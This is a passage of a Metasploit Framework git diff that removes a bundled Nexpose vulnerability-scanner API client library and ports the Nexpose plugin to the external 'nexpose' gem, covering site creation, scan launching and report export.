description - def setBlob(securityblob) - @isblob = true - @securityblob = securityblob - end - - include Sanitize - def to_xml - xml = '' - xml << '' - xml << replace_entities(securityblob) if (isblob) - xml << '' - - xml - end -end - - -# === Description -# Object that represents an SMTP (Email) Alert. -# -class SmtpAlert - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The email address of the sender - attr_reader :sender - # Limit the text for mobile devices - attr_reader :limitText - # Array containing Strings of email addresses - # Array of strings with the email addresses of the intended recipients - attr_reader :recipients - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, sender, limitText, enabled = 1) - @type = :smtp - @name = name - @sender = sender - @enabled = enabled - @limitText = limitText - @recipients = Array.new() - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Adds a new Recipient to the recipients array - def addRecipient(recipient) - @recipients.push(recipient) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - recipients.each do |recpt| - xml << "#{replace_entities(recpt)}" - end - xml << vulnFilter.to_xml - xml << "" - xml - end -end - -# === Description -# Object that represents an SNMP Alert. -# -class SnmpAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The community string - attr_reader :community - # The SNMP server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, community, server, enabled = 1) - @type = :snmp - @name = name - @community = community - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# === Description -# Object that represents a Syslog Alert. -# -class SyslogAlert - - # A unique name for this alert - attr_reader :name - # If this alert is enabled or not - attr_reader :enabled - # The Syslog server to sent this alert - attr_reader :server - # The vulnerability filter to trigger the alert - attr_reader :vulnFilter - # The alert type - attr_reader :type - - def initialize(name, server, enabled = 1) - @type = :syslog - @name = name - @server = server - @enabled = enabled - # Sets default vuln filter - All Events - setVulnFilter(VulnFilter.new("50790400",1)) - - end - - # Sets the Vulnerability Filter for this alert. - def setVulnFilter(vulnFilter) - @vulnFilter = vulnFilter - end - - include Sanitize - def to_xml - xml = "} - xml << vulnFilter.to_xml - xml << "" - xml - end - -end - -# TODO: review -# -# === Description -# -class ScanFilter - - attr_reader :scanStop - attr_reader :scanFailed - attr_reader :scanStart - - def initialize(scanstop, scanFailed, scanStart) - - @scanStop = scanStop - @scanFailed = scanFailed - @scanStart = scanStart - - end - -end - -# TODO: review -# === Description -# -class VulnFilter - - attr_reader :typeMask - attr_reader :maxAlerts - attr_reader :severityThreshold - - def initialize(typeMask, severityThreshold, maxAlerts = -1) - @typeMask = typeMask - @maxAlerts = maxAlerts - @severityThreshold = severityThreshold - end - - include Sanitize - def to_xml - xml = "" - - xml - end - -end - -# TODO add engineID -# === Description -# Object that represents the scanning configuration for a Site. -# -class ScanConfig - # A unique ID for this scan configuration - attr_reader :configID - # The name of the scan template - attr_reader :name - # The ID of the scan template used full-audit, exhaustive-audit, web-audit, dos-audit, internet-audit, network-audit - attr_reader :templateID - # The configuration version (default is 2) - attr_reader :configVersion - # Array of (Schedule)* - attr_reader :schedules - # Array of (ScanTrigger)* - attr_reader :scanTriggers - - def initialize(configID, name, templateID, configVersion = 2) - - @configID = configID - @name = name - @templateID = templateID - @configVersion = configVersion - @schedules = Array.new() - @scanTriggers = Array.new() - - end - - # Adds a new Schedule for this ScanConfig - def addSchedule(schedule) - @schedules.push(schedule) - end - - # Adds a new ScanTrigger to the scanTriggers array - def addScanTrigger(scanTrigger) - @scanTriggers.push(scanTrigger) - end - - def _set_configID(configID) - @configID = configID - end - - def _set_name(name) - @name = name - end - -end - -# === Description -# Object that holds a scan schedule -# -class Schedule - # Type of Schedule (daily|hourly|monthly|weekly) - attr_reader :type - # The schedule interval - attr_reader :interval - # The date and time to start the first scan - attr_reader :start - # Enable or disable this schedule - attr_reader :enabled - # The date and time to disable to schedule. If null then the schedule will run forever. - attr_reader :notValidAfter - # Scan on the same date each time - attr_reader :byDate - - def initialize(type, interval, start, enabled = 1) - - @type = type - @interval = interval - @start = start - @enabled = enabled - - end - - - -end - -# === Description -# Object that holds an event that triggers the start of a scan. -# -class ScanTrigger - # Type of Trigger (AutoUpdate) - attr_reader :type - # Enable or disable this scan trigger - attr_reader :enabled - # Sets the trigger to start an incremental scan or a full scan - attr_reader :incremental - - def initialize(type, incremental, enabled = 1) - - @type = type - @incremental = incremental - @enabled = enabled - - end - -end - -# === Description -# Object that represents a single device in an NSC. -# -class Device - - # A unique device ID (assigned by the NSC) - attr_reader :id - # The site ID of this devices site - attr_reader :site_id - # IP Address or Hostname of this device - attr_reader :address - # User assigned risk multiplier - attr_reader :riskfactor - # Nexpose risk score - attr_reader :riskscore - - def initialize(id, site_id, address, riskfactor=1, riskscore=0) - @id = id - @site_id = site_id - @address = address - @riskfactor = riskfactor - @riskscore = riskscore - - end - -end - - -# === Description -# Object that represents a summary of a scan. -# -class ScanSummary - # The Scan ID of the Scan - attr_reader :scan_id - # The Engine ID used to perform the scan - attr_reader :engine_id - # TODO: add description - attr_reader :name - # The scan start time - attr_reader :startTime - # The scan finish time - attr_reader :endTime - # The scan status (running|finished|stopped|error| dispatched|paused|aborted|uknown) - attr_reader :status - # The number of pending tasks - attr_reader :tasks_pending - # The number of active tasks - attr_reader :tasks_active - # The number of completed tasks - attr_reader :tasks_completed - # The number of "live" nodes - attr_reader :nodes_live - # The number of "dead" nodes - attr_reader :nodes_dead - # The number of filtered nodes - attr_reader :nodes_filtered - # The number of unresolved nodes - attr_reader :nodes_unresolved - # The number of "other" nodes - attr_reader :nodes_other - # Confirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_exploit - # Unconfirmed vulnerabilities found (indexed by severity) - # Associative array, indexed by severity - attr_reader :vuln_version - # Not vulnerable checks run (confirmed) - attr_reader :not_vuln_exploit - # Not vulnerable checks run (unconfirmed) - attr_reader :not_vuln_version - # Vulnerability check errors - attr_reader :vuln_error - # Vulnerability checks disabled - attr_reader :vuln_disabled - # Vulnerability checks other - attr_reader :vuln_other - - # Constructor - # ScanSummary(can_id, $engine_id, $name, tartTime, $endTime, tatus) - def initialize(scan_id, engine_id, name, startTime, endTime, status) - - @scan_id = scan_id - @engine_id = engine_id - @name = name - @startTime = startTime - @endTime = endTime - @status = status - - end - -end - -# TODO -# === Description -# Object that represents the overview statistics for a particular scan. -# -# === Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get a Site (Site ID = 12) from the NSC -# site = new Site(nsc,12) -# -# # Start a Scan of this site and pause for 1 minute -# scan1 = site.scanSite() -# sleep(60) -# -# # Get the Scan Statistics for this scan -# scanStatistics = new ScanStatistics(nsc,scan1["scan_id"]) -# -# # Print out number of confirmed vulnerabilities with a 10 severity -# puts scanStatistics.scansummary.vuln_exploit[10] -# -# # Print out the number of pending tasks left in the scan -# puts scanStatistics.scan_summary.tasks_pending -# -class ScanStatistics - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :reseponse_xml - # The Scan ID - attr_reader :scan_id - # The ScanSummary of the scan - attr_reader :scan_summary - # The NSC Connection associated with this object - attr_reader :connection - - # Vulnerability checks other - attr_reader :vuln_other - def initialize(connection, scan_id) - @error = false - @connection = connection - @scan_id = scan_id - end -end - -# ==== Description -# Object that represents a listing of all of the scan engines available on to an NSC. -# -class EngineListing - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (EngineSummary*) - attr_reader :engines - # The number of scan engines - attr_reader :engine_count - - # Constructor - # EngineListing (connection) - def initialize(connection) - @connection = connection - end -end - -# ==== Description -# Object that represents the summary of a scan engine. -# -# ==== Examples -# -# # Create a new Nexpose Connection on the default port and Login -# nsc = Connection.new("10.1.40.10","nxadmin","password") -# nsc.login() -# -# # Get the engine listing for the connection -# enginelisting = EngineListing.new(nsc) -# -# # Print out the status of the first scan engine -# puts enginelisting.engines[0].status -# -class EngineSummary - # A unique ID that identifies this scan engine - attr_reader :id - # The name of this scan engine - attr_reader :name - # The hostname or IP address of the engine - attr_reader :address - # The port there the engine is listening - attr_reader :port - # The engine status (active|pending-auth| incompatible|not-responding|unknown) - attr_reader :status - - # Constructor - # EngineSummary(id, name, address, port, status) - def initialize(id, name, address, port, status) - @id = id - @name = name - @address = address - @port = port - @status = status - end - -end - - -# TODO -class EngineActivity - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Engine ID - attr_reader :engine_id - # Array containing (ScanSummary*) - attr_reader :scan_summaries - - -end - -# === Description -# Object that represents a listing of all of the vulnerabilities in the vulnerability database -# -class VulnerabilityListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (VulnerabilitySummary*) - attr_reader :vulnerability_summaries - # The number of vulnerability definitions - attr_reader :vulnerability_count - - # Constructor - # VulnerabilityListing(connection) - def initialize(connection) - @error = false - @vulnerability_summaries = [] - @connection = connection - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityListingResponse/VulnerabilitySummary') do |v| - @vulnerability_summaries.push(VulnerabilitySummary.new(v.attributes['id'],v.attributes["title"],v.attributes["severity"])) - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - @vulnerability_count = @vulnerability_summaries.length - end -end - -# === Description -# Object that represents the summary of an entry in the vulnerability database -# -class VulnerabilitySummary - - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - - # Constructor - # VulnerabilitySummary(id, title, severity) - def initialize(id, title, severity) - @id = id - @title = title - @severity = severity - - end - -end - -# === Description -# -class Reference - - attr_reader :source - attr_reader :reference - - def initialize(source, reference) - @source = source - @reference = reference - end -end - -# === Description -# Object that represents the details for an entry in the vulnerability database -# -class VulnerabilityDetail - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - # The pciSeverity of this vulnerability - attr_reader :pciSeverity - # The CVSS score of this vulnerability - attr_reader :cvssScore - # The CVSS vector of this vulnerability - attr_reader :cvssVector - # The date this vulnerability was published - attr_reader :published - # The date this vulnerability was added to Nexpose - attr_reader :added - # The last date this vulnerability was modified - attr_reader :modified - # The HTML Description of this vulnerability - attr_reader :description - # External References for this vulnerability - # Array containing (Reference) - attr_reader :references - # The HTML Solution for this vulnerability - attr_reader :solution - - # Constructor - # VulnerabilityListing(connection,id) - def initialize(connection, id) - - @error = false - @connection = connection - @id = id - @references = [] - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityDetailsResponse/Vulnerability') do |v| - @id = v.attributes['id'] - @title = v.attributes["title"] - @severity = v.attributes["severity"] - @pciSeverity = v.attributes['pciSeverity'] - @cvssScore = v.attributes['cvssScore'] - @cvssVector = v.attributes['cvssVector'] - @published = v.attributes['published'] - @added = v.attributes['added'] - @modified = v.attributes['modified'] - - v.elements.each('description') do |d| - @description = d.to_s.gsub(/\<\/?description\>/i, '') - end - - v.elements.each('solution') do |s| - @solution = s.to_s.gsub(/\<\/?solution\>/i, '') - end - - v.elements.each('references/reference') do |r| - @references.push(Reference.new(r.attributes['source'],r.text)) - end - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - - end -end - -# === Description -# Object that represents the summary of a Report Configuration. -# -class ReportConfigSummary - # The Report Configuration ID - attr_reader :id - # A unique name for the Report - attr_reader :name - # The report format - attr_reader :format - # The date of the last report generation - attr_reader :last_generated_on - # Relative URI of the last generated report - attr_reader :last_generated_uri - - # Constructor - # ReportConfigSummary(id, name, format, last_generated_on, last_generated_uri) - def initialize(id, name, format, last_generated_on, last_generated_uri) - - @id = id - @name = name - @format = format - @last_generated_on = last_generated_on - @last_generated_uri = last_generated_uri - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -class ReportHistory - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The report definition (report config) ID - # Report definition ID - attr_reader :config_id - # Array (ReportSummary*) - attr_reader :report_summaries - - - def initialize(connection, config_id) - - @error = false - @connection = connection - @config_id = config_id - @report_summaries = [] - - reportHistory_request = APIRequest.new('',@connection.geturl()) - reportHistory_request.execute() - @response_xml = reportHistory_request.response_xml - @request_xml = reportHistory_request.request_xml - - end - - def xml_parse(response) - response = REXML::Document.new(response.to_s) - status = response.root.attributes['success'] - if (status == '1') - response.elements.each('ReportHistoryResponse/ReportSummary') do |r| - @report_summaries.push(ReportSummary.new(r.attributes["id"], r.attributes["cfg-id"], r.attributes["status"], r.attributes["generated-on"],r.attributes['report-uri'])) - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - -end - -# === Description -# Object that represents the summary of a single report. -class ReportSummary - - # The Report ID - attr_reader :id - # The Report Configuration ID - attr_reader :cfg_id - # The status of this report - # available | generating | failed - attr_reader :status - # The date on which this report was generated - attr_reader :generated_on - # The relative URI of the report - attr_reader :report_uri - - def initialize(id, cfg_id, status, generated_on, report_uri) - - @id = id - @cfg_id = cfg_id - @status = status - @generated_on = generated_on - @report_uri = report_uri - - end - -end - -# === Description -# - class ReportAdHoc - include XMLUtils - - attr_reader :error - attr_reader :error_msg - attr_reader :connection - # Report Template ID strong e.g. full-audit - attr_reader :template_id - # pdf|html|xml|text|csv|raw-xml-v2 - attr_reader :format - # Array of (ReportFilter)* - attr_reader :filters - attr_reader :request_xml - attr_reader :response_xml - attr_reader :report_decoded - - - def initialize(connection, template_id = 'full-audit', format = 'raw-xml-v2') - - @error = false - @connection = connection - @filters = Array.new() - @template_id = template_id - @format = format - - end - - def addFilter(filter_type, id) - - # filter_type can be site|group|device|scan - # id is the ID number. For scan, you can use 'last' for the most recently run scan - filter = ReportFilter.new(filter_type, id) - filters.push(filter) - - end - - def generate() - request_xml = '' - request_xml += '' - request_xml += '' - @filters.each do |f| - request_xml += '' - end - request_xml += '' - request_xml += '' - request_xml += '' - - ad_hoc_request = APIRequest.new(request_xml, @connection.url) - ad_hoc_request.execute() - - content_type_response = ad_hoc_request.raw_response.header['Content-Type'] - if content_type_response =~ /multipart\/mixed;\s*boundary=([^\s]+)/ - # Nexpose sends an incorrect boundary format which breaks parsing - # Eg: boundary=XXX; charset=XXX - # Fix by removing everything from the last semi-colon onward - last_semi_colon_index = content_type_response.index(/;/, content_type_response.index(/boundary/)) - content_type_response = content_type_response[0, last_semi_colon_index] - - data = "Content-Type: " + content_type_response + "\r\n\r\n" + ad_hoc_request.raw_response_data - doc = Rex::MIME::Message.new data - doc.parts.each do |part| - if /.*base64.*/ =~ part.header.to_s - return parse_xml(part.content.unpack("m*")[0]) - end - end - end - end - - end - -# === Description -# Object that represents the configuration of a report definition. -# -class ReportConfig - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The ID for this report definition - attr_reader :config_id - # A unique name for this report definition - attr_reader :name - # The template ID used for this report definition - attr_reader :template_id - # html, db, txt, xml, raw-xml-v2, csv, pdf - attr_reader :format - # XXX new - attr_reader :timezone - # XXX new - attr_reader :owner - # Array of (ReportFilter)* - The Sites, Asset Groups, or Devices to run the report against - attr_reader :filters - # Automatically generate a new report at the conclusion of a scan - # 1 or 0 - attr_reader :generate_after_scan - # Schedule to generate reports - # ReportSchedule Object - attr_reader :schedule - # Store the reports on the server - # 1 or 0 - attr_reader :storeOnServer - # Location to store the report on the server - attr_reader :store_location - # Form to send the report via email - # "file", "zip", "url", or NULL (don’t send email) - attr_reader :email_As - # Send the Email to all Authorized Users - # boolean - Send the Email to all Authorized Users - attr_reader :email_to_all - # Array containing the email addresses of the recipients - attr_reader :email_recipients - # IP Address or Hostname of SMTP Relay Server - attr_reader :smtp_relay_server - # Sets the FROM field of the Email - attr_reader :sender - # TODO - attr_reader :db_export - # TODO - attr_reader :csv_export - # TODO - attr_reader :xml_export - - - def initialize(connection, config_id = -1) - - @error = false - @connection = connection - @config_id = config_id - @xml_tag_stack = Array.new() - @filters = Array.new() - @email_recipients = Array.new() - @name = "New Report " + rand(999999999).to_s - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportConfigResponse/ReportConfig') do |r| - @name = r.attributes['name'] - @format = r.attributes['format'] - @timezone = r.attributes['timezone'] - @id = r.attributes['id'] - @template_id = r.attributes['template-id'] - @owner = r.attributes['owner'] - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - - # === Description - # Generate a new report on this report definition. Returns the new report ID. - def generateReport(debug = false) - return generateReport(@connection, @config_id, debug) - end - - # === Description - # Save the report definition to the NSC. - # Returns the config-id. - def saveReport() - r = @connection.execute('' + getXML().to_s + ' ') - if(r.success) - @config_id = r.attributes['reportcfg-id'] - return true - end - return false - end - - # === Description - # Adds a new filter to the report config - def addFilter(filter_type, id) - filter = ReportFilter.new(filter_type,id) - @filters.push(filter) - end - - # === Description - # Adds a new email recipient - def addEmailRecipient(recipient) - @email_recipients.push(recipient) - end - - # === Description - # Sets the schedule for this report config - def setSchedule(schedule) - @schedule = schedule - end - - def getXML() - - xml = '' - - xml += ' ' - - @filters.each do |f| - xml += ' <' + f.type.to_s + ' id="' + f.id.to_s + '"/>' - end - - xml += ' ' - - xml += ' ' - - if (@schedule) - xml += ' ' - end - - xml += ' ' - - xml += ' ' - - xml += ' ' - - if (@store_location and @store_location.length > 0) - xml += ' ' + @store_location.to_s + '' - end - - xml += ' ' - - - xml += ' ' - - xml += ' ' - - return xml - end - - def set_name(name) - @name = name - end - - def set_template_id(template_id) - @template_id = template_id - end - - def set_format(format) - @format = format - end - - def set_email_As(email_As) - @email_As = email_As - end - - def set_storeOnServer(storeOnServer) - @storeOnServer = storeOnServer - end - - def set_smtp_relay_server(smtp_relay_server) - @smtp_relay_server = smtp_relay_server - end - - def set_sender(sender) - @sender = sender - end - - def set_generate_after_scan(generate_after_scan) - @generate_after_scan = generate_after_scan - end -end - -# === Description -# Object that represents a report filter which determines which sites, asset -# groups, and/or devices that a report is run against. gtypes are -# "SiteFilter", "AssetGroupFilter", "DeviceFilter", or "ScanFilter". gid is -# the site-id, assetgroup-id, or devce-id. ScanFilter, if used, specifies -# a specifies a specific scan to use as the data source for the report. The gid -# can be a specific scan-id or "first" for the first run scan, or “last” for -# the last run scan. -# -class ReportFilter - - attr_reader :type - attr_reader :id - - def initialize(type, id) - - @type = type - @id = id - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -# -class ReportSchedule - - # The type of schedule - # (daily, hourly, monthly, weekly) - attr_reader :type - # The frequency with which to run the scan - attr_reader :interval - # The earliest date to generate the report - attr_reader :start - - def initialize(type, interval, start) - - @type = type - @interval = interval - @start = start - - end - - -end - -class ReportTemplateListing - - attr_reader :error_msg - attr_reader :error - attr_reader :request_xml - attr_reader :response_xml - attr_reader :connection - attr_reader :xml_tag_stack - attr_reader :report_template_summaries#; //Array (ReportTemplateSummary*) - - - def ReportTemplateListing(connection) - - @error = nil - @connection = connection - @report_template_summaries = Array.new() - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportTemplateListingResponse/ReportTemplateSummary') do |r| - @report_template_summaries.push(ReportTemplateSumary.new(r.attributes['id'],r.attributes['name'])) - end - else - @error = true - @error_msg = 'ReportTemplateListingRequest Parse Error' - end - - end - -end - - -class ReportTemplateSummary - - attr_reader :id - attr_reader :name - attr_reader :description - - def ReportTemplateSummary(id, name, description) - - @id = id - @name = name - @description = description - - end - -end - - -class ReportSection - - attr_reader :name - attr_reader :properties - - def ReportSection(name) - - @properties = Array.new() - @name = name - end - - - def addProperty(name, value) - - @properties[name.to_s] = value - end - -end - - -# TODO add -def self.site_device_scan(connection, site_id, device_array, host_array, debug = false) - - request_xml = '' - request_xml += '' - device_array.each do |d| - request_xml += '' - end - request_xml += '' - request_xml += '' - # The host array can only by single IP addresses for now. TODO: Expand to full API Spec. - host_array.each do |h| - request_xml += '' - end - request_xml += '' - request_xml += '' - - r = connection.execute(request_xml) - r.success ? { :engine_id => r.attributes['engine_id'], :scan_id => r.attributes['scan-id'] } : nil -end - -# === Description -# TODO -def self.getAttribute(attribute, xml) - value = '' - #@value = substr(substr(strstr(strstr(@xml,@attribute),'"'),1),0,strpos(substr(strstr(strstr(@xml,@attribute),'"'),1),'"')) - return value -end - -# === Description -# Returns an ISO 8601 formatted date/time stamp. All dates in Nexpose must use this format. -def self.get_iso_8601_date(int_date) -#@date_mod = date('Ymd\THis000', @int_date) - date_mod = '' -return date_mod -end - -# ==== Description -# Echos the last XML API request and response for the specified object. (Useful for debugging) -def self.printXML(object) - puts "request" + object.request_xml.to_s - puts "response is " + object.response_xml.to_s -end - -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index f60210fd41..97c223eaed 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -163,4 +163,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'openvas-omp' # Needed by metasploit nessus bridge spec.add_runtime_dependency 'nessus_rest' + # Nexpose Gem + spec.add_runtime_dependency 'nexpose' end diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 00c1173bc1..854a3dfd53 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -6,8 +6,7 @@ # # $Revision$ # - -require 'rapid7/nexpose' +require 'nexpose' module Msf Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds @@ -165,7 +164,7 @@ class Plugin::Nexpose < Msf::Plugin begin print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc = Nexpose::Connection.new(@host, @user, @pass, @port) nsc.login rescue ::Nexpose::APIError => e print_error("Connection failed: #{e.reason}") @@ -191,21 +190,21 @@ class Plugin::Nexpose < Msf::Plugin end scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + print_status(" Scan ##{scan.scan_id} is running on Engine ##{scan.engine_id} against site ##{scan.site_id} since #{scan.start_time.to_s}") end end def cmd_nexpose_sites(*args) return if not nexpose_verify - sites = @nsc.site_listing || [] + sites = @nsc.list_sites || [] case sites.length when 0 print_status("There are currently no active sites on this Nexpose instance") end sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + print_status(" Site ##{site.id} '#{site.name}' Risk Factor: #{site.risk_factor} Risk Score: #{site.risk_score}") end end @@ -218,24 +217,24 @@ class Plugin::Nexpose < Msf::Plugin return end - devices = @nsc.site_device_listing(site_id) || [] + devices = @nsc.list_site_devices(site_id) || [] case devices.length when 0 print_status("There are currently no devices within this site") end devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + print_status(" Host: #{device.address} ID: #{device.id} Risk Factor: #{device.risk_factor} Risk Score: #{device.risk_score}") end end def cmd_nexpose_report_templates(*args) return if not nexpose_verify - res = @nsc.report_template_listing || [] + res = @nsc.list_report_templates || [] res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + print_status(" Template: #{report.id} Name: '#{report.name}' Description: #{report.description}") end end @@ -287,17 +286,12 @@ class Plugin::Nexpose < Msf::Plugin report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site_id, "Metasploit Export #{msfid}", "pentest-audit", report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -307,17 +301,18 @@ class Plugin::Nexpose < Msf::Plugin end print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status("Downloading the export data...") data = @nsc.download(url) # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) + @nsc.delete_report_config(report.id) print_status("Importing Nexpose data...") process_nexpose_data(report_format, data) @@ -390,8 +385,9 @@ class Plugin::Nexpose < Msf::Plugin when "-c" if (val =~ /^([^:]+):([^:]+):(.+)/) type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) + newcreds = Nexpose::SiteCredentials.for_service("temporary_name", nil, nil, nil, nil, type) + newcreds.user_name = user + newcreds.password = pass opt_credentials << newcreds else print_error("Unrecognized Nexpose scan credentials: #{val}") @@ -482,33 +478,24 @@ class Plugin::Nexpose < Msf::Plugin msfid = Time.now.to_i # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() + site = Nexpose::Site.new(nil, opt_template) + site.name = "Metasploit-#{msfid}" + site.description = "Autocreated by the Metasploit Framework" + site.included_addresses = queue + site.site_credentials = opt_credentials + site.save(@nsc) - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose + print_status(" >> Created temporary site ##{site.id}") if opt_verbose report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site.id, site.name, opt_template, report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc, true) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -517,18 +504,19 @@ class Plugin::Nexpose < Msf::Plugin raise e end - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose + print_status(" >> Created temporary report configuration ##{report.id}") if opt_verbose # Run the scan begin - res = site.scanSite() + res = site.scan(@nsc) rescue Nexpose::APIError => e nexpose_error_message = e.message nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '') print_error "#{nexpose_error_message}" return end - sid = res[:scan_id] + + sid = res.id print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose @@ -537,8 +525,8 @@ class Plugin::Nexpose < Msf::Plugin prev = nil while(true) info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" + break if info.status != "running" + stat = "Found #{info.nodes.live} devices and #{info.nodes.dead} unresponsive" if(stat != prev) print_status(" >> #{stat}") if opt_verbose end @@ -549,18 +537,19 @@ class Plugin::Nexpose < Msf::Plugin rescue ::Interrupt rep = false print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) + @nsc.stop_scan(sid) break end # Wait for the automatic report generation to complete if(rep) print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status(" >> Downloading the report data from Nexpose...") if opt_verbose data = @nsc.download(url) @@ -577,7 +566,11 @@ class Plugin::Nexpose < Msf::Plugin if ! opt_preserve print_status(" >> Deleting the temporary site and report...") if opt_verbose - @nsc.site_delete(site.site_id) + begin + @nsc.delete_site(site.id) + rescue ::Nexpose::APIError => e + print_status(" >> Deletion of temporary site and report failed: #{e.inspect}") + end end end @@ -675,3 +668,15 @@ class Plugin::Nexpose < Msf::Plugin end end end + +module Nexpose + class IPRange + def to_json + if @to.present? + "#{@from} - #{@to}".to_json + else + @from.to_json + end + end + end +end 